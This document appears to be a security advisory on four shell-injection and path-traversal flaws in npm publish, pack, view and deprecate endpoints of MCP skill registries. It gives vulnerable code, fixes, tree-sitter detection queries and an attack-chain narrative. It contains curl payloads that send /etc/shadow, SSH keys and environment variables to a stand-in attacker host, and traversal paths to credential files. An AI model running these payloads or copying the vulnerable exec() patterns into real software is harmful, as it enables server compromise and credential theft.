Claude MCP skill code injection — npm package publishing and registry proxy endpoints
SA-SKL-INJECTION23 documents four shell injection vulnerabilities in MCP skill registry npm package publishing and registry proxy endpoints. All four arise from constructing shell command strings with user-controlled values and passing them to child_process.exec(), which invokes a shell interpreter that expands metacharacters. The fix in every case is the same: use execFile() with an argument array and validate inputs with strict allowlists before passing them to any subprocess.
exec(`npm publish --tag ${releaseTag}`); attacker releaseTag with ; curl attacker.com/$(cat /etc/shadow|base64) achieves full shell command injection RCE
exec(`npm pack ${packageDir}`) with packageDir from user upload path; attacker path ../../etc/passwd exfiltrates arbitrary files from the server
exec(`npm view ${packageName} versions`) with packageName from user; attacker packageName with @scope/name; curl attacker.com achieves command injection RCE
exec(`npm deprecate ${packageName}@${version} "${reason}"`); attacker reason containing $(command) achieves command substitution RCE via bash expansion
INJECTION23-001 (Critical): Release tag shell injection in npm publish command
MCP skill registries that proxy npm package publishing on behalf of users commonly construct the npm publish command by interpolating user-supplied fields directly into a shell command string passed to child_process.exec(). The exec() function passes its first argument to /bin/sh -c, which interprets all shell metacharacters in the string — semicolons, pipe characters, backticks, dollar signs, and ampersands. When the releaseTag parameter (the npm dist-tag for the published version, e.g., latest, beta, next) is not validated and sanitised, an attacker can inject arbitrary shell commands by embedding them after a semicolon.
The injected command runs with the full permissions of the Node.js process executing the registry — typically a user with read access to the registry's configuration files, environment variables, SSH keys, and database credentials. The classic payload reads sensitive files and exfiltrates them to attacker infrastructure via a simple curl command. Because the injection occurs within the publish workflow, it executes silently alongside a legitimate npm publish operation, making detection difficult without audit logging of subprocess arguments.
// VULNERABLE — releaseTag interpolated into exec() shell string; metachar injection
// File: services/npmPublisher.js
const { exec } = require('child_process');
const util = require('util');
const execAsync = util.promisify(exec);
async function publishSkillPackage(packagePath, releaseTag) {
// VULNERABILITY: releaseTag is user-controlled; exec() passes string to /bin/sh -c
// Attacker releaseTag: "latest; curl attacker.com/$(cat /etc/shadow|base64)"
// Executes: npm publish --tag latest THEN curl attacker.com/
const { stdout, stderr } = await execAsync(
`npm publish ${packagePath} --tag ${releaseTag}`
);
return { stdout, stderr };
}
Fix: Replace exec() with execFile() and pass each argument as a separate element of the args array. execFile() does not invoke a shell — it calls the executable directly with the arguments supplied, so metacharacters in argument values are passed as literals rather than interpreted by a shell. Validate releaseTag against /^[a-z0-9][a-z0-9._-]{0,63}$/ before the subprocess call, rejecting any value that does not match the npm dist-tag format.
// FIXED — execFile() with argument array; releaseTag validated with strict regex
// File: services/npmPublisher.js
const { execFile } = require('child_process');
const util = require('util');
const path = require('path');
const execFileAsync = util.promisify(execFile);
const RELEASE_TAG_RE = /^[a-z0-9][a-z0-9._-]{0,63}$/;
const UPLOAD_BASE = '/tmp/skill-uploads';
async function publishSkillPackage(packagePath, releaseTag) {
// Validate releaseTag: only lowercase alnum, dots, hyphens, underscores; max 64 chars
if (!RELEASE_TAG_RE.test(releaseTag)) {
throw new Error(`Invalid release tag: ${releaseTag}`);
}
// Canonicalize path and verify it's within the expected upload directory
const resolvedPath = path.resolve(packagePath);
if (!resolvedPath.startsWith(UPLOAD_BASE + path.sep)) {
throw new Error('Package path outside upload directory');
}
// execFile: no shell invoked; args are passed directly to npm, not to /bin/sh
const { stdout, stderr } = await execFileAsync(
'npm', ['publish', resolvedPath, '--tag', releaseTag],
{ env: { ...process.env }, timeout: 60000 }
);
return { stdout, stderr };
}
INJECTION23-002 (High): packageDir path traversal in npm pack command exfiltrates server files
The npm packing workflow in MCP skill registries creates a distributable tarball from a package directory. When the registry accepts a packageDir value from user input (such as a path returned from an upload endpoint) and passes it to exec(`npm pack ${packageDir}`), an attacker can supply a path that traverses outside the intended upload directory using ../ sequences. The shell does not impose any path containment — it passes the traversal string directly to the npm process, which reads from wherever the resulting absolute path resolves.
The npm pack output includes all files within the specified directory. By setting packageDir to ../../etc, the attacker causes npm to pack the system /etc directory into a tarball that is then returned or made available for download. This exfiltrates /etc/passwd, /etc/shadow (if readable), /etc/hosts, and any other configuration files in that directory. More targeted traversals can reach ../../app/.env, ../../home/deploy/.ssh/id_rsa, or the registry's application source code at ../../srv/registry/.
// VULNERABLE — packageDir from user input interpolated into exec(); path traversal
// File: services/npmPublisher.js
async function packSkillPackage(packageDir) {
// VULNERABILITY: packageDir may contain ../../ sequences; exec passes to npm pack directly
// Attacker packageDir: "../../etc" — npm packs /etc/ into a downloadable tarball
const { stdout } = await execAsync(`npm pack ${packageDir}`);
const tarballName = stdout.trim().split('\n').pop();
return tarballName;
}
Fix: Use path.resolve() to canonicalize the user-supplied path, then assert that the resolved path starts with the expected upload base directory. This eliminates ../ traversal sequences by resolving them before comparison. Use execFile() with an argument array to pass the resolved path as a literal argument. The containment check must happen before the subprocess call — validating the user-supplied string with a regex that blocks ../ is insufficient because there are many encoding variants that bypass simple string checks.
// FIXED — execFile() with realpath containment check; traversal sequences eliminated
// File: services/npmPublisher.js
const path = require('path');
const fs = require('fs');
const UPLOAD_BASE = '/tmp/skill-uploads';
async function packSkillPackage(packageDir) {
// Resolve all symlinks and ../sequences to canonical absolute path
let resolvedDir;
try {
resolvedDir = fs.realpathSync(packageDir);
} catch {
throw new Error('Package directory does not exist');
}
// Assert containment: resolved path must be under the upload base
if (!resolvedDir.startsWith(UPLOAD_BASE + path.sep)) {
throw new Error('Package directory outside upload base — path traversal blocked');
}
// execFile: resolvedDir is a literal argument, not a shell-expanded string
const { stdout } = await execFileAsync(
'npm', ['pack', resolvedDir],
{ cwd: UPLOAD_BASE, timeout: 30000 }
);
const tarballName = stdout.trim().split('\n').pop();
return tarballName;
}
INJECTION23-003 (Critical): packageName command injection in npm view command
Registry proxy endpoints that look up published version lists for a package name invoke npm view <packageName> versions to retrieve the available versions from the upstream registry. When packageName comes from user input and is interpolated into an exec() call, the shell interprets any metacharacters embedded in the package name. npm package names can legitimately contain scopes (@scope/name) and hyphens, but they cannot contain semicolons, ampersands, or pipes — characters that the shell uses to chain commands.
An attacker who supplies a package name of @scope/name; curl attacker.com/$(whoami|base64) causes the shell to execute both npm view @scope/name versions and the injected curl command in sequence. The npm view call succeeds normally, returning valid output that masks the injection in application logs. The injected command runs asynchronously in the same shell session with full process permissions. Because package name inputs are frequently passed through API query parameters with minimal validation (the user is "just looking up versions"), this surface is often overlooked in security reviews.
// VULNERABLE — packageName from user input interpolated into exec(); command injection
// File: services/registryProxy.js
async function getPackageVersions(packageName) {
// VULNERABILITY: packageName is user-supplied; exec() passes to /bin/sh -c
// Attacker: packageName = "@scope/name; curl attacker.com/$(cat ~/.ssh/id_rsa|base64)"
const { stdout } = await execAsync(`npm view ${packageName} versions --json`);
return JSON.parse(stdout);
}
Fix: Validate packageName against the npm package name specification: /^(@[a-z0-9][a-z0-9._-]{0,213}\/)?[a-z0-9][a-z0-9._-]{0,213}$/. This allowlist permits scoped and unscoped names with their valid characters while rejecting all shell metacharacters. Use execFile() with an argument array so that even if a future validation bypass occurs, the shell is never involved. Consider using the npm registry HTTP API directly (via fetch() against registry.npmjs.org/packageName) instead of shelling out to the npm CLI — this eliminates the subprocess entirely.
// FIXED — packageName validated with strict allowlist; execFile() with arg array
// File: services/registryProxy.js
// npm package name: optional @scope/ prefix, then package name
// Allows: a-z, 0-9, hyphen, dot, underscore; max 214 chars per npm spec
const NPM_PACKAGE_NAME_RE = /^(@[a-z0-9][a-z0-9._-]{0,213}\/)?[a-z0-9][a-z0-9._-]{0,213}$/;
async function getPackageVersions(packageName) {
if (!NPM_PACKAGE_NAME_RE.test(packageName)) {
throw new Error(`Invalid package name: ${packageName}`);
}
// execFile: packageName is a literal argument; no shell metachar expansion
const { stdout } = await execFileAsync(
'npm', ['view', packageName, 'versions', '--json'],
{ timeout: 15000 }
);
return JSON.parse(stdout);
}
// Alternative: use registry HTTP API directly — no subprocess at all
async function getPackageVersionsViaApi(packageName) {
if (!NPM_PACKAGE_NAME_RE.test(packageName)) throw new Error('Invalid package name');
// Encode the package name for use in a URL path segment
const encodedName = encodeURIComponent(packageName).replace('%40', '@').replace('%2F', '/');
const response = await fetch(`https://registry.npmjs.org/${encodedName}`, {
signal: AbortSignal.timeout(10000),
});
if (!response.ok) throw new Error(`Registry returned ${response.status}`);
const data = await response.json();
return Object.keys(data.versions ?? {});
}
INJECTION23-004 (Critical): Deprecation reason command substitution RCE via $() expansion
The npm deprecation workflow in MCP skill registries allows package maintainers to mark versions as deprecated with a human-readable reason message. The registry implementation constructs the npm deprecate command by interpolating both the package identifier and the user-supplied reason string into a shell command: exec(`npm deprecate ${packageName}@${version} "${reason}"`). While the reason string is wrapped in double quotes — an attempt to treat it as a single argument — the shell still expands $(command) and backtick sequences within double-quoted strings in both bash and dash (/bin/sh on most Linux distributions).
An attacker who supplies a reason of $(curl attacker.com/$(id|base64)) causes the shell to execute the curl command during command expansion before passing the result to npm. The id command output is base64-encoded and sent to attacker infrastructure, confirming code execution. More damaging payloads read application environment variables, SSH keys, or database credentials. The double-quote wrapping provides no protection against $() substitution — only single quotes suppress expansion, and even single-quoting is insufficient if the attacker can inject a closing single quote followed by shell code.
// VULNERABLE — reason string in double quotes does not prevent $() expansion
// File: services/npmPublisher.js
async function deprecatePackage(packageName, version, reason) {
// VULNERABILITY: double-quoted reason still expands $() in bash/sh
// Attacker reason: "$(curl attacker.com/$(cat /proc/self/environ|base64))"
// Shell executes: npm deprecate pkg@1.0 "$(curl ...)"
// → runs curl with env variables before passing result to npm
const { stdout } = await execAsync(
`npm deprecate ${packageName}@${version} "${reason}"`
);
return stdout;
}
Fix: Use execFile() and pass reason as a separate element of the args array: execFile('npm', ['deprecate', `${packageName}@${version}`, reason]). When passed as a discrete argument, the reason string is transmitted directly to the npm process's argv without any shell interpretation — no quoting, escaping, or sanitisation of the reason content is required beyond length limits. Additionally validate packageName with the allowlist from INJECTION23-003 and version with a semver regex before including them in the argument array.
// FIXED — execFile() with reason as a discrete argument; no shell expansion possible
// File: services/npmPublisher.js
const SEMVER_RE = /^\d+\.\d+\.\d+(-[a-zA-Z0-9._-]+)?(\+[a-zA-Z0-9._-]+)?$/;
const NPM_PACKAGE_NAME_RE = /^(@[a-z0-9][a-z0-9._-]{0,213}\/)?[a-z0-9][a-z0-9._-]{0,213}$/;
async function deprecatePackage(packageName, version, reason) {
if (!NPM_PACKAGE_NAME_RE.test(packageName)) throw new Error('Invalid package name');
if (!SEMVER_RE.test(version)) throw new Error('Invalid version');
if (typeof reason !== 'string' || reason.length > 500) throw new Error('Invalid reason');
// execFile: reason is argv[3] — passed to npm process directly, no shell involved
// $(), backticks, semicolons in reason are all treated as literal characters
const { stdout } = await execFileAsync(
'npm',
['deprecate', `${packageName}@${version}`, reason],
{ timeout: 15000 }
);
return stdout;
}
Compound attack chain: package name injection to full credential exfiltration
These four injection vulnerabilities compose a chain in which an attacker escalates from package metadata manipulation to full credential exfiltration with minimal footprint.
Phase 1 — Initial RCE (INJECTION23-003). The attacker calls the package version lookup endpoint with an injected packageName. The npm view command succeeds and returns valid JSON (masking the injection in application logs), while the injected command enumerates the process environment to discover the registry's database connection string, AWS credentials, and npm publishing token stored as environment variables.
Phase 2 — Credential exfiltration (INJECTION23-001). With knowledge of the npm publishing token from Phase 1, the attacker submits a package publish request with a crafted releaseTag. The injected command reads the registry's private key files and ships them to attacker infrastructure. The publish operation also completes normally — the injection is invisible to the publish audit log.
Phase 3 — Persistence and pivoting (INJECTION23-004). The attacker submits a deprecation request for a popular MCP skill with a reason containing a command that installs a persistent reverse shell cron job. The npm deprecation succeeds (marking the skill deprecated in the registry), while the injected command establishes persistence. All subsequent package publishing workers that execute shell commands are now compromised.
Chain severity: The chain achieves full credential exfiltration and persistence from three separate API endpoints, all via the same root cause: exec() with user-supplied strings. The uniform fix — replace every exec() call with execFile() and an argument array, validate inputs with strict allowlists — applies to all four findings simultaneously. Run the tree-sitter query below across the entire codebase, not just npm-related files, to surface all exec() patterns before deploying the fix.
Detection with tree-sitter queries
Query 1 — exec() with template literal containing user-input identifiers. Matches exec() and execAsync() call expressions where the first argument is a template literal that contains an interpolation expression. Any such call is a potential shell injection — template literal interpolation in a shell command string is the structural signature of all four INJECTION23 variants.
; tree-sitter query: exec() with template literal interpolation (INJECTION23 pattern)
; Matches: exec(`npm ... ${userParam} ...`), execAsync(`... ${var} ...`)
(call_expression
function: [
(identifier) @fn (#match? @fn "^(exec|execAsync|execSync)$")
(member_expression property: (property_identifier) @fn-prop
(#match? @fn-prop "^(exec|execAsync|execSync)$"))
]
arguments: (arguments
(template_string
(template_substitution) ; at least one interpolation
) @template-cmd
)
) @injection-candidate
; Each @injection-candidate: does the template contain user-controlled data?
; Review what variables are interpolated — flag any that originate from:
; req.body, req.query, req.params, database fields, Redis values, file paths from uploads
; Fix: replace exec() with execFile(executable, [arg1, arg2, ...])
; Validate each argument with a type-specific allowlist regex before the call.
Query 2 — exec() with string concatenation. Catches the alternative pattern where the shell command is built with + concatenation rather than template literals — equally vulnerable but sometimes missed by template-literal-only queries.
; tree-sitter query: exec() with string concatenation (alternative INJECTION23 pattern)
; Matches: exec('npm publish ' + packagePath + ' --tag ' + tag)
(call_expression
function: [
(identifier) @fn2 (#match? @fn2 "^(exec|execAsync|execSync)$")
(member_expression property: (property_identifier) @fn-prop2
(#match? @fn-prop2 "^(exec|execAsync|execSync)$"))
]
arguments: (arguments
(binary_expression operator: "+" @concat) @concat-cmd
)
) @injection-candidate-concat
; Same fix applies: execFile(executable, argArray) replaces all exec(string) patterns.
Summary
| ID | Severity | Surface | Root cause | Fix |
|---|---|---|---|---|
| INJECTION23-001 | Critical | npm publish — releaseTag parameter |
exec(`npm publish --tag ${releaseTag}`) passes to shell; semicolon injection achieves RCE |
execFile('npm', ['publish', path, '--tag', releaseTag]); validate tag against /^[a-z0-9][a-z0-9._-]{0,63}$/ |
| INJECTION23-002 | High | npm pack — packageDir upload path |
exec(`npm pack ${packageDir}`); ../ sequences traverse outside upload base |
execFile() with path.resolve() + fs.realpathSync() containment check against upload base |
| INJECTION23-003 | Critical | npm view — packageName query parameter |
exec(`npm view ${packageName} versions`); semicolon in package name injects commands |
execFile() with arg array; validate with npm package name allowlist regex |
| INJECTION23-004 | Critical | npm deprecate — reason body field |
exec(`npm deprecate ... "${reason}"`); $() expands inside double quotes |
execFile('npm', ['deprecate', `${pkg}@${ver}`, reason]); reason as discrete argv element |
Checklist for MCP skill registry operators: (1) Run the tree-sitter queries above across the entire codebase — flag every exec() call with template literal or string concatenation. (2) Replace all exec() calls with execFile() and argument arrays — this is a mechanical refactor with no behaviour change for safe inputs. (3) Add input validation for every argument that reaches a subprocess: releaseTag against /^[a-z0-9][a-z0-9._-]{0,63}$/; packageName against the npm spec regex; version against semver; packageDir against path.resolve() containment. (4) Consider eliminating npm CLI shelling entirely for read operations — use the npm registry HTTP API directly. (5) Run these checks in CI to prevent regressions across the full SA-SKL-INJECTION series.